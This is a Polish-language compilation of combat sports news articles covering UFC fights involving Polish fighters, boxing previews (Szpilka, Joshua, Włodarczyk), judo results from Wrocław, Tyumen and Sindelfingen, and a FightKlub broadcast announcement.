Omielańczuk wrócił z dalekiej podróży. Jedną nogą był już poza UFC. Najlepsza organizacja mieszanych sztuk walki regularnie dokonuje czystki w swoich strukturach i nie ma litości, dla tych którzy przegrywają i nie zapowiadają poprawy. Omielańczuk zanotował dwie porażki, choć w pojedynkach z Rosholtem i Hamiltonem nie stał na straconej pozycji. Efektowny nokaut jest niezwykle ważny dla Omielańczuka. Polak pokazał, że potrafi zachwycać, a to jest niezwykle cenne w świecie UFC.

Wcześniej kontrakt z organizacją przedłużyła Joanna Jędrzejczyk. Mistrzyni wagi słomkowej stała się wizytówką polskiego MMA i jednym z najgorętszych nazwisk w UFC. Dan White nie kryje swojej sympatii do polskiej zawodniczki. W podziękowaniu za występ podczas gali UFC Fight Night w Berlinie wręczył Jędrzejczyk … trzydzieści par butów. Polka w zawodowej karierze jeszcze nie przegrała, a UFC stoczyła cztery zwycięskie walki.

Już 5 września na gali UFC 191 w Las Vegas kolejną walkę stoczy Jan Błachowicz. „John” stanie przed trudnym zadaniem, gdyż jego rywalem będzie Anthony Johnson, który ostatnio walczył o pas wagi półciężkiej.

KM

Szpilka zagra po kubańsku

Artur Szpilka poznał nazwisko swojego kolejnego rywala. 14 sierpnia na gali Premier Boxing Champions w Prudential Center w Newark popularny „Szpila” zmierzy się z Yasmanym Consuegrą.

Dla wielu Kuba kojarzy się z reżimem totalitarnym i rządami braci Castro – Fidela, a następnie Raula. Tam też wartością samą w sobie są cygara i rum. A na jakim poziomie jest boks? Więcej na ten temat będzie można powiedzieć po najbliższej walce Artura Szpilki. Yasmany Consuegra rysuje się jako trudny rywal.

Wyzwanie króla Artura

Ty Cobb i Manuela Quezada nie należą do bokserów z najwyższej półki. Dwie walki stoczone w UIC Pavilion w Chicago były dobrym przetarciem dla Szpilki, który rozwija się pod okiem nowego trenera – Ronniego Shieldsa. Rozprawienie się z Cobb’em zajęło Szpilce dwie rundy, z Quezadą męczył się niecałe trzy minuty dłużej. Wydaje się, że w końcu Polak będzie miał okazję sprawdzić swoje umiejętności w starciu z solidnym rywalem.

Yasmany Consuegra liczy sobie 31 lat i do niedawna był niepokonany na zawodowym ringu. Sposób na Kubańczyka znalazł Dominic Breazeale, który wygrał w trzeciej rundzie przez nokaut. Consuegra miał nadzieję na kolejne zwycięstwo i wyprowadził kilka mocnych ciosów, jednak rywal okazał się silniejszy. Breazeale trafił Kubańczyka w tył głowy, co rozstrzygnęło walkę.

Consuegra jest twardym bokserem, którego najgroźniejszą bronią jest mocny prawy. Czy Szpilka musi obawiać się Kubańczyka? Do tej pory 31-latek nie pokonał żadnego boksera z wielkim nazwiskiem. Consuegra przed pojedynkiem z Breazeale nie rywalizował z pięściarzem, który nie doznał porażki na zawodowym ringu. Można powiedzieć, że rywalizacja z Amerykaninem była okazją do sprawdzenia możliwości Kubańczyka. 31-latek nie zdał tej próby. Wcześniej Consuegra walczył z rywalami wiekowymi bądź słabymi, którzy nabijają rekordy innym. Takie pojedynki też trzeba umieć wygrywać. Nie dziwi fakt, że Kubańczyk aż czternaście z siedemnastu zwycięskich walk zakończył przed czasem. Consuegra to pięściarz, który bić potrafi i ma mocny cios. Szpilka dostanie szansę sprawdzenia swoich możliwości. W końcu będzie walczył z pięściarzem, który ma dobry bilans na zawodowym ringu. Zatem można się spodziewać, że Kubańczyk zawiesi „Szpili” poprzeczkę nieco wyżej niż Cobb i Quezada.

Po wygraną

Nie ma się, co czarować i bawić w dyplomację. Celem Szpilki jest zwycięstwo. Polski bokser wagi ciężkiej będzie miał okazję rywalizować z przeciwnikiem wymagającym, ale wydaje się, że „Szpila” ma zdecydowanie większy potencjał. 26-latek musi po raz kolejny wejść do ringu i udowodnić swoją wartość.

W tym przypadku ważna jest koncentracja. Consuegra to pięściarz, który ma mocny cios i chwila nieuwagi może źle się skończyć dla Szpilki. Kubańczyk to rywal zdecydowanie bardziej wymagający niż dwaj poprzedni, ale i jego „Szpila” jest w stanie posłać na deski. Breazeale dał przykład.

KM

Wrocław okraszony złotem

Polscy judocy zdominowali rywalizację w kategorii 90kg wśród panów. Po złoto sięgnął Piotr Kuczera, a Jakub Ozimek i Rafał Kozłowski uplasowali się na najniższym stopniu podium. Wrocław przez dwa dni był stolicą judo w wykonaniu juniorów.

Puchar Europy miał charakter otwarty, co dawało szansę zawodnikom z każdego zakątka świata, aby zaprezentować się w stolicy Dolnego Śląska. We Wrocławiu stawiło się ponad czterystu judoków, w tym gronie było siedemdziesięciu trzech Polaków. Gospodarze zaznaczyli swój udział w turnieju. Nie obyło się bez złotego medalu dla Polski. Mazurek Dąbrowski rozbrzmiał we wrocławskiej hali Orbita.

Nasza „90”

Polacy rozłożyli na łopatki rywali w kategorii 90kg. Jedynie Eduard Trippel zdołał wedrzeć się między naszych zawodników, ale decydującą walkę przegrał. Najlepszy w rywalizacji w 90kg okazał się 20-letni Piotr Kuczera. Zawodnik z Rybnika był we Wrocławiu bezkonkurencyjny. Na początek Polak musiał zmierzyć się z Rokasem Simonisem, jednak ten nie sprawił zbyt wielu problemów naszemu judoce. Kuczera pokonał następnie Lorenzo Perricone, co otworzyło mu drzwi do półfinału. A tam spotkało się dwóch Polaków. W bratobójczym starciu poległ Jakub Ozimek, który nadal miał nadzieję na zdobycz medalową. Kuczera w finale zwyciężył Niemca Eduarda Trippela.

Jakub Ozimek , zanim trafił na Kuczerę, odprawił z turnieju Pawła Borowskiego. Także we Wrocławiu w kategorii 90kg Polacy rozbrykali się niczym małe zające. Ozimek ostatecznie uplasował się na trzecim miejscu, a w decydującym pojedynku okazał się lepszy od Sandro Makatsariego. Po brązowy medal sięgnął również Rafał Kozłowski. Nasz judoka uporał się z zawodnikiem z Francji, który nie miał szczęścia w rywalizacji z biało-czerwonymi. Wcześniej Lorenzo Perricone przegrał z Kuczerą i miło Polaków wspominał nie będzie.

I jeszcze trzy

Dorobek polskich judoków we Wrocławiu zatrzymał się na liczbie sześć. Połowę medali biało-czerwoni zdobyli w kategorii 90kg, co obrazuje dominację naszych zawodników w tej wadze. Sukces reprezentacji to w głównej mierze zasługa panów, tylko jednej pani udało się stanąć na podium. Mistrzyni Polski seniorek Beata Pacut sięgnęła po brązowy medal w kategorii +78kg. W decydującym pojedynku doszło do starcia dwóch Polek. Pacut pokonała Annę Załęczną.

Na zdobycz Polaków złożył się jeden złoty i pięć brązowych medali. Oprócz Pacut, Kozłowskiego oraz Ozimka na najniższym stopniu podium uplasowali się Jan Jackiewicz, a także Paweł Wawrzyczek. Zawodnik AON-u Warszawa w kategorii +100kg pokonał Artsjoma Radczankę. Z kolei Wawrzyczek rozpoczął zbieranie medali przez Polaków. Judoka AZS-u AWF Katowice w sobotę sięgnął po brązowy medal w kategorii 66kg. Pozostałe „krążki” Polacy zdobyli w drugim dniu rywalizacji.

Warto nadmienić, że w sobotę fantastycznie zaprezentowały się reprezentantki Japonii, które zwyciężyły we wszystkich kategoriach wagowych.

Przed naszymi juniorami kolejne starty. Teraz czas na rywalizację w Pucharze Europy w Berlinie.

KM

Powtórka Sarnackiego

Okazuje się, że Tiumeń podoba się Maciejowi Sarnackiemu. Nie chodzi tylko i wyłącznie o aspekt wizualny, ale o fakt, że polski judoka po raz kolejny w zawodach Grand Slam stanął na trzecim miejscu podium. Sarnacki powtórzył swój wynik z poprzedniego sezonu.

Nasz najlepszy judoka przygotowuje się do sierpniowych mistrzostw świata w Astanie. Sarnacki zdobyciem brązowego medalu w Tiumeniu wlał w serca kibiców nadzieję, że może być lepiej niż podczas Igrzysk Europejskich w Baku. Tam Polakom nie udało się wywalczyć ani jednego medalu.

Japońska ściana

Rosjanie w zawodach w Tiumeniu wystawili mocną kadrę w liczbie pięćdziesięciu dwóch zawodników. W porównaniu z reprezentacją Sbronej wypadamy bardzo skromnie. Do Tiumenia pojechało dwóch polskich judoków – Maciej Sarnacki i Jakub Wójcik. Z nadziejami, że osiągną sukces. Sarnacki w tym roku wygrał zawody Pucharu Europy w Warszawie, co napawało optymizmem, jednak przez długi czas nie udało mu się zaliczyć dobrego występu. Igrzyska Europejskie, a zarazem mistrzostwa Europy w Baku zakończył na 1/8 finału. Tak jak i Wójcik. Zawody w Tiumeniu były ostatnim startem przed mistrzostwami świata w Astanie.

Rywalizacja w Rosji była o tyle cenna, że można było wywalczyć punkty do rankingu olimpijskiego. Sztuka ta nie powiodła się Jakubowi Wójcikowi, który już w fazie eliminacyjnej pożegnał się z rywalizacją w kategorii 100kg. Maciej Sarnacki walczył za to do końca. Judoka potwierdził, że jest najlepszym polskim zawodnikiem i nadal ma zakusy, aby zdobywać medale. Oby start w Tiumeniu nie był jednorazowym wysokiem.

Sarnacki dopisał sobie dwieście punktów do rankingu olimpijskiego za zajęcie trzeciego miejsca w zawodach Grand Slam. Hisayoshi Harasawa pozbawił Polaka nadziei na triumf. Japończyk zatrzymał pochód naszego zawodnika, a w decydującej walce wygrał z Asienem Kambiewem i cieszył się ze złota. Z kolei Sarnacki musiał pokonać Francuza Jeana-Sebastiena Bonvoisina, aby stanąć na podium. Polak dominował nad swoim rywalem siłą, a przede wszystkim warunkami fizycznymi. Sarnacki wygrał przez ippon.

Najlepsza Japonia

Na rosyjskiej ziemi najwięcej medali zdobyli judocy z Kraju Kwitnącej Wiśni. Zawodnicy z Japonii wygrali klasyfikację medalową dzięki wywalczeniu dziewięciu „krążków”. Judocy z Kraju Kwitnącej Wiśni zajęli aż sześć pierwszych miejsc, w tym cztery wśród panów i dwa wśród pań.

Warto zauważyć, że wśród panów rywalizacja toczyła się między zawodnikami z Rosji i Japonii. Jedynie w kategorii 100kg monopol tych dwóch nacji przełamał Szwed Martin Pacek. W 90kg w finale Japończyk Mashu Baker pokonał Magomeda Magomedova, a w +100kg wspomniany Harasawa wygrał z Kambiewem. Wśród pań większe rozdrobnienie. Nie doszło do pojedynku rosyjsko-japońskiego, ale istotne jest, że w rywalizacji kobiet Rosjanki stanęły na podium jedynie w kategorii 48kg. W 63kg dominacja zawodniczek z Mongolii. Dwa złota dla Japonek – Yoshida (57kg) i Tachimoto (70kg).

KM

Pieńkowska najlepsza w Niemczech

Nasi judocy z dobrej strony pokazali się z dobrej strony w zawodach Pucharu Europy w Sindelfingen. Polacy wywalczyli w Niemczech trzy medale. Z kolei we Wrocławiu zostały rozegrane zawody Pucharu Europy juniorów.

Już dawno biało-czerwoni nie zaliczyli tak dobrego występu. Polacy są na ostatniej prostej przygotowań do mistrzostw świata, które odbędą się w sierpniu w Astanie.  Występ w Sindelfingen pokazuje, że reprezentanci Polski są w dobrej dyspozycji. Oby przełożyła się ona na starty w Kazachstanie.

Złota Pieńkowska

W końcu złoty medal w Pucharze Europy. Pierwsze miejsce w Sindelfingen w kategorii 52kg zajęła Karolina Pieńkowska. Polka była bezbłędna, skuteczna, co pozwoliło jej odnieść sukces. Żadna z zawodniczek rywalizujących z Pieńkowską nie była w stanie jej zagrozić, choć w półfinale toczyła się wyrównana walka. Dorota Smorzewska ostatecznie przegrała przez yuko, jednak nadal pozostawała w grze o podium. Rumunka Roksana Ioanca mogła cieszyć się z brązowego medalu. Pojedynek rozstrzygnął się dopiero w dogrywce.

Pieńkowska w finale trafiła na Marie Orsini. Polska judoczka nie wypuściła szansy z rąk i w finale zaprezentowała wysoki poziom. Francuzka nie miała szans w starciu z Pieńkowską, która była niezwykle zdeterminowana. Polka przez ippon pokonała Orsini, co sprawiło, że stanęła na najwyższym stopniu podium w Niemczech.

W kategorii 66kg swoją obecność zaznaczyli Polacy. Niewiele zabrakło, aby nasza reprezentacja z Sindelfingen wracała z dwoma złotymi medalami. Michał Bartusik był o krok od triumfu, jednak Fabio Basile okazał się lepszy i Polak musiał zadowolić się srebrnym medalem, co i tak jest dobrym rezultatem. W końcu naszym judokom udało się wywalczyć miejsce na podium w zawodach międzynarodowych. Basile pokonał Bartusika przez waza-ari. Z dobrej strony pokazał się Aleksander Beta, który nadal szuka formy po poprzednim udanym sezonie. Polski judoka w niemieckim turnieju zajął 5.miejsce. Autorem trzeciego medalu był Damian Szwarnowiecki. Nasz zawodnik w kategorii 73kg zajął trzecie miejsce, a w decydującym pojedynku uporał się z Olegiem Wasilijewem, którego pokonał przez ippon.

Wrocławski medal

Do Polski przyjechali czołowi młodzi judocy ze Starego Kontynentu i nie tylko. We Wrocławiu trwała rywalizacja w Pucharze Europy juniorów, ale zawody miały charakter otwarty, więc mogli w nich zaprezentować się zawodnicy z całego świata. Ponad czterystu zawodników, w tym siedemdziesięciu trzech Polaków walczyło o medale.

W sobotę na konto biało – czerwonych zapisano jeden medal. Na trzecim stopniu podium w kategorii 66kg stanął Patryk Wawrzyczek. 20-letni judoka AZS AWF Katowice w decydującym starciu okazał się lepszy od Joana Cabota. Polak wygrał z Francuzem przez yuko. Dla Wawrzyczka to kolejny dobry występ w tym sezonie – trzecie miejsce zajął również w Celje.

Młodzi judocy przygotowują się do startu w mistrzostwach Europy w Oberwart i mistrzostwach świata w Abu Zabi.

KM

Druga wygrana Omielańczuka w UFC

Polski fighter szybko, sprawnie i bez problemów uporał się z Chrisem de la Rochą podczas gali UFC Fight Night 72 w Glasgow. Z kolei Paweł Pawlak o swoim występie chciałby jak najszybciej zapomnieć.

Dla Omielańczuka to niezwykle cenne zwycięstwo. Po dwóch porażkach Polakowi udało się wygrać, co pozwala mu nadal poważnie myśleć o karierze w UFC. Omielańczuk już w pierwszej rundzie rozstrzygnął pojedynek na swoją korzyść.

Szybko nokaut

Polak dostał szansę występu podczas polskiej gali UFC w Krakowie. Wydawało się, że Omielańczuk nie powinien mieć problemu z pokonaniem Anthony’ego Hamiltona. Tylko wydawało się. 32-letni zawodnik w Krakowie zaprezentował się po prostu słabo i przegrał. Podczas występów Omielańczuka w UFC można zauważyć pewną prawidłowość. Polski fighter wygrywa przez nokaut, a przegrywa na punkty. W swoim debiucie w UFC mocnymi ciosami w trzeciej rundzie odprawił Nandora Guelmino. Później przyszły dwie porażki na punkty aż do rywalizacji w Glasgow.

Omielańczuk wygrał drugą walkę w UFC, co daje mu bezpieczeństwo i zapewnia przyszłość w najlepszej organizacji mieszanych sztuk walki na świecie. Polski zawodnik wagi ciężkiej od początku pojedynku z Chrisem de la Rochą ruszył na przeciwnika. Debiutujący w UFC Amerykanin znalazł się w trudnym położeniu i mógł tylko bronić się przed naporem Omielańczuka. 32-latek od razu potraktował rywala wysokim kopnięciem, poprawił silnym podbródkowym. De la Rocha nie miał szans, Polak pod siatką zdominował amerykańskiego zawodnika i sędzia był zmuszony przerwać pojedynek.

Polski ciężki cieszy się ze zwycięstwa. Walka Omielańczuka trwała tylko czterdzieści osiem sekund. Powodów do radości nie ma Paweł Pawlak. Zawodnik z Łodzi do rywalizacji z Leonem Edwardsem przystępował po wygranej z Sheldonem Westcottem na UFC w Krakowie. W Glasgow polski fighter nie poszedł za ciosem. Był zdecydowanie gorszy od Edwardsa. Pawlak okazał się wolniejszy, wyprowadzał mniej ciosów. Edwards mógł zakończyć walkę przed czasem, ale Polak przetrwał napór przeciwnika. Sędziowie nie mieli wątpliwości i jednoznacznie wskazali na Anglika, który odniósł dziesiąte zwycięstwo w karierze.

Niejednogłośny Bisping

Walka wieczoru była wyrównana, więc sędziowie mieli trudny orzech do zgryzienia. Michael Bisping przeważał w stójce i wyprowadzał więcej ciosów, co okazało się decydujące. Werdykt wzbudził wątpliwości. Thales Leites bił mocno, ale rzadziej. Po jednym z ciosów Brazylijczyka Bisping zachwiał się na nogach, ale doprowadził do klinczu. Zwycięstwo w Glasgow odniósł Ilir Latifi, który znany jest polskim fanom z pojedynku z Janem Błachowiczem. Zawodnik ze Szwecji wygrał w pierwszej rundzie przez nokaut.

Joanne Calderwood triumfowała mimo początkowych trudności. Cortney Casey od początku ruszyła na „Jo Jo” i nie oszczędzała rywalki. Z czasem pojedynek wyrównał się. Panie nie szczędziły sobie ciosów, pojedynek był szybki. Calderwood przejęła kontrolę nad pojedynkiem, co przyczyniło się do jej zwycięstwa.

Wyniki UFC Fight Night 72:

Michael Bisping pokonał Thalesa Leitesa przez niejednogłośną decyzję
Joseph Duffy pokonał Ivana Jorge’a przez duszenie trójkątne
Joanne Calderwood pokonała Cortney Casey przez jednogłośną decyzję
Leon Edwards pokonał Pawła Pawlaka przez jednogłośną decyzję
Stevie Ray pokonał Leonarda Mafrę przez techniczny nokaut
Paddy Holohan pokonał Vaughana Lee przez jednogłośną decyzję
Ilir Latifi pokonał Hansa Stringera przez nokaut
Mickael Lebout pokonał Teemu Packalena przez jednogłośną decyzję
Robert Whiteford pokonał Paula Redmonda przez techinczy nokaut 
Jimmie Rivera pokonał Marcusa Brimage’a przez techniczny nokaut 
Daniel Omielańczuk pokonał Chrisa de la Rochę przez techniczny nokaut 

KM

Joshua ze Szkotem o pas

Anthony Joshua stanie przed kolejnym wyzwaniem na zawodowym ringu. Nadzieja brytyjskiego boksu nie zmierzy się jednak z Mariuszem Wachem. Rywalem 25-latka będzie Gary Cornish.

Początkowo mówiło się, że okazję do boksowania z Joshuą będzie miał Mariusz Wach. Popularny „Viking” w końcu miał stanąć w ringu z poważnym rywalem, jednak nie będzie nim Brytyjczyk. Potwierdziły się nasze wcześniejsze doniesienia, że we wrześniu Anthony Joshua zmierzy się z Gary’m Cornishem.

Ktoś przegra

25-letni pięściarz z Watfordu zachwyca obserwatorów pięściarstwa. Joshua jest młody i prezentuje odważny boks, co przekłada się na wyniki. Brytyjczyka należy pochwalić za stuprocentową skuteczność. Warto nadmienić, że Joshua nigdy nie walczył na pełnym dystansie, najdłużej  w ringu spędził trzy rundy. Wszystkie pojedynki w swojej karierze brytyjski zawodnik wygrywał przed czasem. Większość z trzynastu zwycięskich walk kończył w pierwszej bądź drugiej rundzie. Joshua jest pięściarzem, który na obecną chwilę gwarantuje skuteczność i wrażenia. Ponadto, nie zabiera widzom zbyt wiele czasu.

Tak naprawdę brytyjskiego boksera czeka jeszcze długa droga, aby wejść na szczyt. W obecnej chwili znalazł się w ważnym punkcie swojej kariery. Świat o nim usłyszał, zainteresował się nim i wymagania względem niego wzrosły. Teraz Joshua musi potwierdzić, że jest talentem czystej wody, ale musi przygotować się na coraz cięższe walki, jednak w 2015 roku pokazał wysokie umiejętności. Stoczył już trzy walki, w tym dwie w maju i nie pozostawił rywalom żadnych złudzeń. Bez problemów poradził sobie z Raphaelem Zumbano Love. Zwłaszcza wygrana z Kevinem Johnsonem, swego czasu pretendentem do tytułu WBC wagi ciężkiej, pokazała, że Joshua jest mocny. Brytyjczyk łatwo uporał się z silnym i potężnym Amerykaninem.

Teraz Joshua stanie naprzeciw niepokonanego Cornisha. Stawką rywalizacji będzie tytuł mistrza Wspólnoty Brytyjskiej w wadze ciężkiej. 28-letni Cornish do tej pory jeszcze nie przegrał. W tym roku stoczył dwa pojedynki i oba wygrał przed czasem. Dzięki pokonaniu Zsoltana Csali wywalczył tytuł IBO Inter-Continental. 12 września na ringu w Londynie spotkają się dwaj niepokonani bokserzy. Czy Joshua potwierdzi, że jest najlepszym brytyjskim pięściarzem?

Wrzesień Wildera

Mistrz świata WBC wagi ciężkiej Deontay Wilder czeka na kolejnego rywala. Wiele mówi się o rywalizacji z Chrisem Arreolą. Wilder, który bombarduje kolejnych rywali pojawi się na ringu w Las Vegas 26 września, jednak już teraz wybiega myślami w przyszłość.

W październiku w Niemczech dojdzie do pojedynku Władimira Kliczko z Tysonem Fury’m. Amerykański mistrz świata WBC chciałby spotkać się ze zwycięzcą tego pojedynku. Warto podkreślić, że w Wilderze upatruje się boksera, który mógłby zakończyć dominację Ukraińca.

Kliczko, Fury, Wilder, Joshua, Arreola, myślący o powrocie Haye – waga ciężka wygląda coraz ciekawiej. Zwłaszcza po zdobyciu tytułu WBC przed Amerykanina. Czy waga królewska wróci do najlepszych lat?

KM

Polska noc bez Diablo

Krzysztof Włodarczyk nie wystąpi na gali w Prudential Centre w Newark. Jeszcze do niedawna wydawało się, że „Diablo” dołączy do kolonii polskich pięściarzy i wyjdzie 14 sierpnia na ring.

Włodarczyk czeka na kolejny występ. Polak nie boksował od przegranej walki z Grigorijem Drozdem, w której stracił pas mistrzowski WBC. „Diablo” miał stanąć do rewanżu z Rosjaninem, jednak z powodu choroby jego udział w walce był wykluczony. Miejsce Włodarczyka zajął Łukasz Janik, który poległ w starciu z Drozdem.

„Diablo” musi poczekać

Polak nie walczył od dziesięciu miesięcy. „Diablo” chce wrócić na ring i odzyskać mistrzowski pas. Włodarczyk miał pojawić się w Newark, jednak występ nie dojdzie do skutku. Zatem były mistrz świata nadal czeka na powrót na ring. Na pewno Włodarczyk stoczy kolejną walkę w tym roku, prawdopodobnie na jesieni.

Ostatnimi czasy pojawiły się głosy mówiąc o możliwym starciu „Diablo” z Mateuszem Masternakiem. W tej chwili trudno mówić o konkretach. Temat jest, ale do żadnych ustaleń w tej kwestii jeszcze nie doszło. Pięściarze mieliby się spotkać na gali Polsat Boxing Night w Łodzi.

Czterech w Newark

14 sierpnia na ringu w Newark pojawi się czterech polskich pięściarzy. Przed życiową szansą stanie Krzysztof Głowacki. Niepokonany na zawodowym ringu polski bokser zmierzy się z Marco Huckiem w pojedynku, którego stawką będzie tytuł mistrza świata WBO w wadze junior ciężkiej. Niemiecki pięściarz bośniackiego pochodzenia nie przegrał od ponad trzech lat. Z kolei Głowacki nie doznał jeszcze porażki. W tym roku Polak stoczył jeden pojedynek, w którym pokonał na punkty Nuriego Seferiego. Do tej pory Głowacki walczył tylko i wyłącznie w Polsce, więc walka z Huckiem będzie miała podwójny wymiar. Z jednej strony głównym punktem jest pas, a z drugiej bokser z Wałcza stanie przed wyzwaniem rywalizacji pod presją. Starcie odbędzie się na terenie rywala, więc Głowacki dodatkowo będzie musiał uporać się z presją trybun.

Trzeci pojedynek w tym roku stoczy Artur Szpilka. „Szpila” nadal czeka na nazwisko kolejnego rywala, ale może być pewny siebie. Po powrocie na amerykańskie ringi jest bezbłędny. Szpilka bez problemu uporał się z Ty’em Cobb’em oraz Manuelem Quezadą. Po pokonaniu Grzegorza Proksy przed Maciejem Sulęckim otworzyły się drzwi do wielkiej kariery. 14 sierpnia 26-latek zaliczy drugi występ w Stanach Zjednoczonych. W kwietniu uporał się z Darrylem Cunninghamem, którego znokautował w trzeciej rundzie. Drugi pojedynek w tym roku stoczy również Kamil Łaszczyk. 24-letni pięściarz w marcu w Hialeah Park Race Track w szóstej rundzie zakończył rywalizację z Jose Luisem Araizą. Sulęcki i Łaszczyk nadal czekają na nazwiska swoich najbliższych rywali.

KM

Judo Grand Slam i boks na żywo – weekend w FightKlubie!

Grand Slam w Tyumenu: ostatni sprawdzian przed Mistrzostwami Świata.
 
Zawody Grand Slam w Tyumenu będą ostatnim sprawdzianem przed Mistrzostwami Świata w Astanie (24-30 sierpnia). Na rosyjskich matach powalczą Jakub Wójcik (-100 kg) i Maciej Sarnacki ( 100 kg). Transmisje na żywo w sobotę i niedzielę (18-19 lipca) w telewizji FightKlub, początek o godzinie 14:00.
 
Rok temu w prestiżowym turnieju w Tyumenu brązowe medale zdobyli Daria Pogorzelec -78 kg i Maciej Sarnacki 100 kg. Tym razem poza Sarnackim zgłoszony jest też Jakub Wójcik, który dobrym występem w Rosji ma szansę zdobyć awans do reprezentacji na MŚ w Astanie. Poza Maciejem Sarnackim, pewny startu w Kazachstanie jest Łukasz Błach -81 kg.
 
Na liście startowej Grand Slamu jest ponad 300 zawodniczek i zawodników z 55 państw, w tym 56-osobowa reprezentacja Rosji. Gospodarze jednak zaskoczyli awizowanym składem, bo nie ma w nim żadnego z trzech Mistrzów Olimpijskich z Londynu: Arsena Galtsjana (-60 kg), Mansura Isaewa (-73 kg) i Tagira Chajbułaewa (-100 kg).
 
Rosjanie, trenowani przez słynnego Włocha Ezio Gambę, wystawiają mocny skład wśród kobiet i mężczyzn, ale też bez wielu innych gwiazd, np. Beslana Mudranowa -60 kg, Kamala Khan-Magomedowa i Michaila Puliaiewa -66 kg, Denisa Iarcewa -73 kg, Iwana Nifonotva -81 kg, Kirila Denisowa i Kiryla Woprosowa -90 kg oraz Renata Saidowa 100 kg. Prawdopodobnie oni już przygotowują się do MŚ.
 
Silne reprezentacje do Rosji przysyłają m.in. Japończycy, Mongolia i Niemcy, choć bez Mistrzyni Europy w wadze -63 kg Martyny Trajdos (urodzona w Polsce). W składzie Szwecji są mający polskich rodziców Martin (-100 kg) i Robin (-81 kg) Packowie.
 
W Grand Slamie do zdobycia są punkty do rankingu olimpijskiego – 500 za 1 miejsce, 300 – za 2, 200 – za 3 i 100 – za 5 itd. W puli nagród jest 154 tys. dolarów. Złoci medaliści dostaną 5 tys., srebrni 3 tys., a brązowi 1,5 tys.

Starcie o pas WBC International.
Telewizja FightKlub kontynuuje bokserski rajd. W sobotni wieczór pokaże na żywo galę z Włoch z pojedynkiem o pas WBC International w wadze półśredniej – Gianluca Frezza kontra Charles Manyuchi.
 
Faworytem zakontraktowanego na dwanaście rund pojedynku jest broniący pasa Charles Manyuchi. Pochodzący z Zambii pięściarz tytuł ten wywalczył w marcu ubiegłego roku pokonując przez nokaut w ósmej rundzie Patricka Alloteya. Pół roku później obronił pas wygrywając z Devisem Caceresem, a w maju tego roku zwyciężył już w pierwszej rundzie z Ibrahimu Classem. W starciu z Frezzą z pewnością czeka go trudniejsza przeprawa. Włoch w całej karierze przegrał bowiem zaledwie dwie z dwudziestu pięciu walk, a ostatni raz schodził z ringu pokonany, pięć lat temu.

Źródło: Materiały prasowe

Błachowicz w Las Vegas

Polski fighter czeka na kolejną walkę w UFC. 5 września Jan Błachowicz stanie w szranki z Anthony’m Johnsonem.

Las Vegas, czyli miejsce, gdzie królują pieniądze. Miasto sukcesu, przepychu i wielkich wrażeń. W Las Vegas w bokserskim pojedynku stulecia spotkali się Floyd Mayweather Jr i Manny Pacquiao. Ogromne wydarzenie, które przyniosło ogromne zyski. W Las Vegas rodzą się gwiazdy i wielkie pieniądze.

„John” czeka na odrodzenie

Dla UFC Błachowicz oficjalnie narodził się w październiku 2014 roku, kiedy stoczył pierwszy pojedynek dla najlepszej organizacji mieszanych sztuk walki na świecie. Wtedy szybko i zdecydowanie pokonał Illira Latifiego. Włodarze UFC obserwowali Błachowicza już dłuższy czas. Ostatni pojedynek w KSW stoczył w marcu 2013 roku, pokonując Gorana Reljicia. W Polsce osiągnął wszystko i chciał podbić Amerykę.

Debiut miał udany. Eksperci zachwyceni, na fali entuzjazmu wróżono Polakowi szybką karierę. Miał stoczyć kilka pojedynków, aby walczyć o pas. Efektowne rozprawienie się z Latifim zrobiło swoje. Publiczność była zachwycona i widziała w Błachowiczu fightera, który może dostarczyć wiele emocji i być autorem interesujących widowisk. Przyszłość pokazała, że fala entuzjazmu po walce z Latifim sparaliżowała Błachowicza. W kolejnym występie w UFC poniósł porażkę. Popularny „John” miał okazję zaprezentować się polskiej publiczności podczas gali w Krakowie, ale o rywalizacji z Jimi Manuwą chciałby jak najszybciej zapomnieć.

Błachowicz czekał na kolejną szansę od UFC, aby odrodzić się i znów wrócić do gry. Polak poznał nazwisko rywala, z którym przyjdzie mu rywalizować 5 września w Las Vegas. „John” stanie naprzeciw Anthony’ego Johnsona.

Będzie ciężko

Dokładnie mówiąc – półciężko. A mówiąc poważnie, Błachowicz trafił na solidnego rywala. Ba, Polak stanie przed niezwykle trudnym wyzwaniem. Johnson to jeden z najlepszych fighterów wagi półciężkiej.

Amerykanin jest obecnie nr 1 w swojej kategorii wagowej. „Rumble” miał okazję rywalizować o pas mistrzowski wagi półciężkiej, po tym jak tytuł odebrano Jonowi Jonesowi. Johnson stanął twarzą w twarz z Danielem Cormierem. Doświadczony 36-latek zmusił swojego młodszego kolegę do poddania się. Już sam fakt, że Johnson walczył o pas mówi sam za siebie. Wcześniej pokonał dwóch mocnych zawodników. Zarówno Alexander Gustafsson i Antonio Nogueira musieli uznać wyższość „Rumble” już w pierwszej rundzie.

31-latka zatrzymał dopiero Cormier. Johnson miał fantastyczną passę – dziewięciu kolejnych zwycięstw. Miał nadzieję nas pas, ale nie tym razem. Amerykanin jest numerem 1 wagi półciężkiej, co pozwala twierdzić, że jest faworytem starcia z Błachowiczem. Polak musi wspiąć się na wyżyny, aby odnieść sukces. Jeśli zaprezentuje się tak jak w debiucie – jest w stanie wygrać. W przypadku powtórki z rywalizacji z Manuwą – w pojedynku z Johnsonem nie ma, czego szukać.  5 września w Las Vegas podczas UFC 191 może dojść do jednej z najważniejszych walk z historii polskiego MMA.

KM

Mir triumfował w San Diego

Frank Mir znalazł się na zakręcie, jednak powoli wychodzi na prostą. 36-letni Amerykanin odniósł drugie zwycięstwo w 2015 roku. Podczas UFC Fight Night 71 w San Diego pokonał o siedem lat młodszego rywala.

Zawodnik z Las Vegas jest weteranem UFC. W najlepszej organizacji mieszanych sztuk walki na świecie walczy od 2001 roku. Jego kariera jest prawdziwą sinusoidą – po wielu triumfach, przyszedł czas na kryzys, ale powoli Amerykanin wraca do dobrej dyspozycji.

Nokaut wieczorową porą

Przez dwa lata Frank Mir nie potrafił odnieść zwycięstwa. Kariera amerykańskiego fightera pełna jest efektownych pojedynków. Mir ma na rozkładzie Roya Nelsona, Brocka Lesnara, Antonio Nogueirę, Mirko Filipovicia czy Wesa Simsa. Po tłustych latach i dobrych występach w UFC przyszedł kryzys. Cztery porażki z rzędu sprawiły, że zaczęto wątpić w przydatność Amerykanina w UFC. Warto zauważyć, że Mir nie przegrywał z byle kim. Pogromcami amerykańskiego zawodnika byli czołowi fighterzy świata: Junior dos Santos, Daniel Cormier, Josh Barnett oraz Alistair Overeem. Lepsze czasy dla Mira nastały w 2015 roku.

